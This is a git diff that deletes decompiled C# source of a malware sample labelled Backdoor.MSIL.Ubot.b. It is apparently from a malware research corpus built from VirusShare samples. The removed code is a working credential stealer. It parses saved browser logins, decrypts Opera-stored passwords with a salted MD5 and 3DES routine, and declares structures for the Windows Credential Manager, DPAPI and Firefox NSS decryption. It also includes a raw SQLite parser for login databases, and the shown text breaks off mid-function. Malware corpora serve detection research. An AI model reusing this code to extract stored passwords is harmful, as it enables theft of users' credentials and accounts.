- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ftp = false;
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- else if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl != 0)
- {
- if (index3 != checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 2))
- {
- if (index3 != checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 4))
- goto label_51;
- }
- try
- {
- int num8 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1);
- int num9 = 0;
- while (num9 <= num8)
- {
- if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num9 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F')
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num9 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1);
- checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; }
- }
- checked { ++num9; }
- }
- if (index3 == checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 2))
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
- else if (index3 == checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 4))
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
- checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1; }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
-label_51:
- try
- {
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp, (string) null, false) != 0)
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp;
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp, (string) null, false) != 0)
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUser[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp;
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp, (string) null, false) != 0)
- {
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPass[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1 - 1)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- checked { ++index3; }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- int num = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl.Length - 1);
- int index = 0;
- while (index <= num && Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[index], "", false) != 0)
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[index];
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 + 1)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUser[index];
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 + 2)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPass[index];
- checked { LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 += 3; }
- checked { ++index; }
- }
- }
-
- public static object decrypt2_method(byte[] key, byte[] encrypt_data)
- {
- object obj;
- try
- {
- MD5CryptoServiceProvider cryptoServiceProvider1 = new MD5CryptoServiceProvider();
- cryptoServiceProvider1.Initialize();
- byte[] numArray1 = new byte[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length + (key.Length - 1) + 1)];
- Array.Copy((Array) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt, (Array) numArray1, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length);
- Array.Copy((Array) key, 0, (Array) numArray1, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length, key.Length);
- byte[] hash1 = cryptoServiceProvider1.ComputeHash(numArray1);
- byte[] numArray2 = new byte[checked (hash1.Length + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length + (key.Length - 1) + 1)];
- Array.Copy((Array) hash1, (Array) numArray2, hash1.Length);
- Array.Copy((Array) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt, 0, (Array) numArray2, hash1.Length, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length);
- Array.Copy((Array) key, 0, (Array) numArray2, checked (hash1.Length + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length), key.Length);
- byte[] hash2 = cryptoServiceProvider1.ComputeHash(numArray2);
- TripleDESCryptoServiceProvider cryptoServiceProvider2 = new TripleDESCryptoServiceProvider();
- cryptoServiceProvider2.Mode = CipherMode.CBC;
- cryptoServiceProvider2.Padding = PaddingMode.None;
- byte[] destinationArray1 = new byte[24];
- byte[] destinationArray2 = new byte[8];
- Array.Copy((Array) hash1, (Array) destinationArray1, hash1.Length);
- Array.Copy((Array) hash2, 0, (Array) destinationArray1, hash1.Length, 8);
- Array.Copy((Array) hash2, 8, (Array) destinationArray2, 0, 8);
- cryptoServiceProvider2.Key = destinationArray1;
- cryptoServiceProvider2.IV = destinationArray2;
- obj = (object) Encoding.Unicode.GetString(cryptoServiceProvider2.CreateDecryptor().TransformFinalBlock(encrypt_data, 0, encrypt_data.Length));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- obj = (object) "";
- ProjectData.ClearProjectError();
- }
- return obj;
- }
-
- private struct CREDENTIAL
- {
- public IntPtr dwFlags;
- public IntPtr dwType;
- public IntPtr lpstrTargetName;
- public IntPtr lpstrComment;
- public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWritten;
- public IntPtr dwCredentialBlobSize;
- public IntPtr lpbCredentialBlob;
- public IntPtr dwPersist;
- public IntPtr dwAttributeCount;
- public IntPtr lpAttributes;
- public IntPtr lpstrTargetAlias;
- public IntPtr lpUserName;
- }
-
- [System.Flags]
- public enum CryptProtectPromptFlags
- {
- CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1,
- CRYPTPROTECT_PROMPT_ON_PROTECT = 2,
- }
-
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct DATA_BLOB
- {
- public int cbData;
- public IntPtr pbData;
- }
-
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct CRYPTPROTECT_PROMPTSTRUCT
- {
- public int cbSize;
- public LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptProtectPromptFlags dwPromptFlags;
- public IntPtr hwndApp;
- public string szPrompt;
- }
-
- public struct TSECItem
- {
- public int SECItemType;
- public int SECItemData;
- public int SECItemLen;
- }
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate long DLLFunctionDelegate(string configdir);
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate long DLLFunctionDelegate2();
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate long DLLFunctionDelegate3(long slot, bool loadCerts, long wincx);
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate int DLLFunctionDelegate4(
- IntPtr arenaOpt,
- IntPtr outItemOpt,
- StringBuilder inStr,
- int inLen);
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate int DLLFunctionDelegate5(
- ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem data,
- ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result,
- int cx);
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyApplication.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyApplication.cs
deleted file mode 100644
index 0494c06c..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyApplication.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyApplication
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe
-
-using Microsoft.VisualBasic.ApplicationServices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-
-namespace My
-{
- [EditorBrowsable(EditorBrowsableState.Never)]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- internal class MyApplication : ApplicationBase
- {
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyComputer.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyComputer.cs
deleted file mode 100644
index fb2ac7b4..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyComputer.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyComputer
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe
-
-using Microsoft.VisualBasic.Devices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-
-namespace My
-{
- [EditorBrowsable(EditorBrowsableState.Never)]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- internal class MyComputer : Computer
- {
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public MyComputer()
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyProject.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyProject.cs
deleted file mode 100644
index 9e285667..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyProject.cs
+++ /dev/null
@@ -1,108 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyProject
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.ApplicationServices;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.ComponentModel.Design;
-using System.Diagnostics;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace My
-{
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- [StandardModule]
- [HideModuleName]
- internal sealed class MyProject
- {
- private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider();
-
- [HelpKeyword("My.Computer")]
- internal static MyComputer Computer
- {
- [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.Application")]
- internal static MyApplication Application
- {
- [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.User")]
- internal static User User
- {
- [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.WebServices")]
- internal static MyProject.MyWebServices WebServices
- {
- [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
- }
-
- [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class MyWebServices
- {
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override int GetHashCode() => base.GetHashCode();
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal new Type GetType() => typeof (MyProject.MyWebServices);
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public override string ToString() => base.ToString();
-
- [DebuggerHidden]
- private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance;
-
- [DebuggerHidden]
- private void Dispose__Instance__(ref T instance) => instance = default (T);
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public MyWebServices()
- {
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [ComVisible(false)]
- internal sealed class ThreadSafeObjectProvider where T : new()
- {
- internal T GetInstance
- {
- [DebuggerHidden] get
- {
- if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null)
- MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T();
- return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue;
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public ThreadSafeObjectProvider()
- {
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/SQLiteHandler.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/SQLiteHandler.cs
deleted file mode 100644
index ea8333f3..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/SQLiteHandler.cs
+++ /dev/null
@@ -1,427 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: SQLiteHandler
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.IO;
-using System.Runtime.CompilerServices;
-using System.Text;
-
-public class SQLiteHandler
-{
- private byte[] db_bytes;
- private ushort page_size;
- private ulong encoding;
- private SQLiteHandler.sqlite_master_entry[] master_table_entries;
- private byte[] SQLDataTypeSize;
- private SQLiteHandler.table_entry[] table_entries;
- private string[] field_names;
-
- private int GVL(int startIndex)
- {
- if (startIndex > this.db_bytes.Length)
- return 0;
- int num1 = startIndex;
- int num2 = checked (startIndex + 8);
- int index = num1;
- while (index <= num2)
- {
- if (index > checked (this.db_bytes.Length - 1))
- return 0;
- if (((int) this.db_bytes[index] & 128) != 128)
- return index;
- checked { ++index; }
- }
- return checked (startIndex + 8);
- }
-
- private long CVL(int startIndex, int endIndex)
- {
- checked { ++endIndex; }
- byte[] numArray = new byte[8];
- object Left = (object) checked (endIndex - startIndex);
- bool flag = false;
- if (Conversions.ToBoolean(Operators.OrObject(Operators.CompareObjectEqual(Left, (object) 0, false), Operators.CompareObjectGreater(Left, (object) 9, false))))
- return 0;
- if (Operators.ConditionalCompareObjectEqual(Left, (object) 1, false))
- {
- numArray[0] = checked ((byte) ((int) this.db_bytes[startIndex] & (int) sbyte.MaxValue));
- return BitConverter.ToInt64(numArray, 0);
- }
- if (Operators.ConditionalCompareObjectEqual(Left, (object) 9, false))
- flag = true;
- int num1 = 1;
- int num2 = 7;
- int index1 = 0;
- if (flag)
- {
- numArray[0] = this.db_bytes[checked (endIndex - 1)];
- checked { --endIndex; }
- index1 = 1;
- }
- int num3 = checked (endIndex - 1);
- int num4 = startIndex;
- int index2 = num3;
- while (index2 >= num4)
- {
- if (checked (index2 - 1) >= startIndex)
- {
- numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1 | (int) unchecked ((byte) ((uint) this.db_bytes[checked (index2 - 1)] << (num2 & 7)))));
- checked { ++num1; }
- checked { ++index1; }
- checked { --num2; }
- }
- else if (!flag)
- numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1));
- checked { index2 += -1; }
- }
- return BitConverter.ToInt64(numArray, 0);
- }
-
- private bool IsOdd(long value) => (value & 1L) == 1L;
-
- private ulong ConvertToInteger(int startIndex, int Size)
- {
- if (Size > 8 | Size == 0)
- return 0;
- ulong integer = 0;
- int num1 = checked (Size - 1);
- int num2 = 0;
- while (num2 <= num1)
- {
- integer = integer << 8 | (ulong) this.db_bytes[checked (startIndex + num2)];
- checked { ++num2; }
- }
- return integer;
- }
-
- private void ReadMasterTable(ulong Offset)
- {
- if (this.db_bytes[checked ((int) Offset)] == (byte) 13)
- {
- ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
- int num1 = 0;
- if (this.master_table_entries != null)
- {
- num1 = this.master_table_entries.Length;
- this.master_table_entries = (SQLiteHandler.sqlite_master_entry[]) Utils.CopyArray((Array) this.master_table_entries, (Array) new SQLiteHandler.sqlite_master_entry[checked (this.master_table_entries.Length + (int) uint16 + 1)]);
- }
- else
- this.master_table_entries = new SQLiteHandler.sqlite_master_entry[checked ((int) uint16 + 1)];
- int num2 = (int) uint16;
- int num3 = 0;
- while (num3 <= num2)
- {
- ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2);
- if (Decimal.Compare(new Decimal(Offset), 100M) != 0)
- checked { integer += Offset; }
- object Left1 = (object) this.GVL(checked ((int) integer));
- this.CVL(checked ((int) integer), Conversions.ToInteger(Left1));
- object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)));
- this.master_table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2));
- ulong startIndex = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1));
- object obj1 = (object) this.GVL(checked ((int) startIndex));
- object Left3 = RuntimeHelpers.GetObjectValue(obj1);
- long num4 = this.CVL(checked ((int) startIndex), Conversions.ToInteger(obj1));
- long[] numArray = new long[5];
- int index = 0;
- do
- {
- object obj2 = Operators.AddObject(Left3, (object) 1);
- Left3 = (object) this.GVL(Conversions.ToInteger(obj2));
- numArray[index] = this.CVL(Conversions.ToInteger(obj2), Conversions.ToInteger(Left3));
- numArray[index] = numArray[index] <= 9L ? (long) this.SQLDataTypeSize[checked ((int) numArray[index])] : (!this.IsOdd(numArray[index]) ? checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 13L) / 2.0))));
- checked { ++index; }
- }
- while (index <= 4);
- if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
- else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
- else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
- if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
- else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
- else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
- this.master_table_entries[checked (num1 + num3)].root_num = checked ((long) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2]))), (int) numArray[3]));
- if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
- this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
- else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
- this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
- else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
- this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
- checked { ++num3; }
- }
- }
- else
- {
- if (this.db_bytes[checked ((int) Offset)] != (byte) 5)
- return;
- int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
- int num = 0;
- while (num <= uint16)
- {
- ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2));
- if (Decimal.Compare(new Decimal(Offset), 100M) == 0)
- this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) integer, 4)), 1M), new Decimal((int) this.page_size))));
- else
- this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size))));
- checked { ++num; }
- }
- this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size))));
- }
- }
-
- private bool ReadTableFromOffset(ulong Offset)
- {
- if (this.db_bytes[checked ((int) Offset)] == (byte) 13)
- {
- ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
- int num1 = 0;
- if (this.table_entries != null)
- {
- num1 = this.table_entries.Length;
- this.table_entries = (SQLiteHandler.table_entry[]) Utils.CopyArray((Array) this.table_entries, (Array) new SQLiteHandler.table_entry[checked (this.table_entries.Length + (int) uint16 + 1)]);
- }
- else
- this.table_entries = new SQLiteHandler.table_entry[checked ((int) uint16 + 1)];
- int num2 = (int) uint16;
- int num3 = 0;
- while (num3 <= num2)
- {
- ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2);
- if (Decimal.Compare(new Decimal(Offset), 100M) != 0)
- checked { integer += Offset; }
